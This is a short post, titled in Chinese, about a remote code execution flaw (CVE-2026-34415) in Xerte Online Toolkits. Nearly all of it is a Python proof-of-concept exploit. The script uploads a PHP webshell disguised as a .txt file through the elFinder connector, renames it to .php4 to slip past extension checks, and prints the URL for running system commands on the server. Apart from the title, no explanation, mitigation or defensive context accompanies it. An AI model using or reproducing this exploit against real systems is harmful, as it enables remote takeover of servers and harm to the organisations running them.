CVE-2026-34415 Xerte Online Toolkits远程代码执行漏洞

import requests target_url = "http://target/xerte/elfinder/connector.php" def exploit(): # 1. Upload a webshell as a safe extension (e.g., .txt) files = {'upload[]': ('shell.txt', '<?php system($_GET["cmd"]); ?>', 'text/plain')} data = {'cmd': 'upload', 'target': 'l1_Lw'} r = requests.post(target_url, files=files, data=data) print(f"Upload status: {r.status_code}") # 2. Rename the file from .txt to .php4 payload = { 'cmd': 'rename', 'name': 'shell.txt', 'target': 'l1_Lw', 'newName': 'shell.php4' } r_rename = requests.post(target_url, data=payload) print(f"Rename status: {r_rename.status_code}") # 3. Execute print(f"Execute command at: http://target/xerte/files/shell.php4?cmd=whoami") if __name__ == "__main__": exploit()